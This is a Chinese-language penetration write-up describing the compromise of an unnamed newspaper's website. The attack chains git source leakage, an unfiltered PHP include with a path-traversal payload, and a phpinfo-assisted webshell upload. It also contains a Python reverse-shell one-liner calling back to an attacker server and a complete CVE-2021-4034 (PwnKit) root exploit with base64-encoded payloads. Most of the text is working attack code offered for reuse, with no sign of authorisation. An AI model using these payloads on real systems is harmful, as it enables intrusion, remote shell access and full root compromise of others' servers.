文件包含+phpinfo组合拿下站点

1.目标资产

某报社

2.渗透流程

1.git泄露,gitdump获取源码,审计出文件包含

<?php
// check session
@session_start();
@header('Content-Type: text/html; charset=utf-8');
// 載入專案設定檔
include_once("config/dbconfig.php");      //載入資料
// JQnets Key 載入
include_once($JQlibs_path."phop/contrller/ajax_key.php");
$filename = (empty($_GET['filename']))?"":$_GET['filename'];
//載入函式庫與設定檔
include_once($JQlibs_path.$filename);               // 載入設定檔
//没有过滤,则指定filename即可实现文件包含
//filename=../../../../../../../../../../etc/passwd
?>

2.upload/users/下图片存在异常图片,通过源码读出来发现是phpinfo()
可能是之前的师傅传上去的

通过文件包含得到phpinfo页面

3.文件包含+phpinfo()写入webshell达成rce
exp

其他部分与原exp一致

成功上传shell到/tmp/g

蚁剑连接

其他设置->选择忽略https证书,成功上传

4.传回shell提权
试了几种有的不行,最终用python回传
蚁剑换行有问题,所以写一个python文件运行传回

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("服务器ip",服务器端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

5.通过cve-2021-4034提权至root 网上找的exp

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
 * @author: luijait
 * @version: 1.0
 * @CVE: CVE-2021-4034 
*/

void enviroment()
{
system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod +x 'GCONV_PATH=./tmp'");
system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC ");
system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules");		
}

void banner()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Current User before execute exploit\nhacker@victim$whoami: ");
system("whoami");
sleep(1);
printf("Exploit written by @luijait (0x6c75696a616974)");
}

int main(int argc, char **argv)
{
	
banner();
	
enviroment();
	
char * const idk[] = {
	NULL
};
char * const entorno[] = {"tmp", 
			  "PATH=GCONV_PATH=.", 
			  "SHELL=/random", 
			  "CHARSET=PWNKIT",
			  "GIO_USE_VFS=",NULL
			 };
	printf("\n[+] Enjoy your root if exploit was completed succesfully\n");
	return execve("/usr/bin/pkexec", idk, entorno);
	
}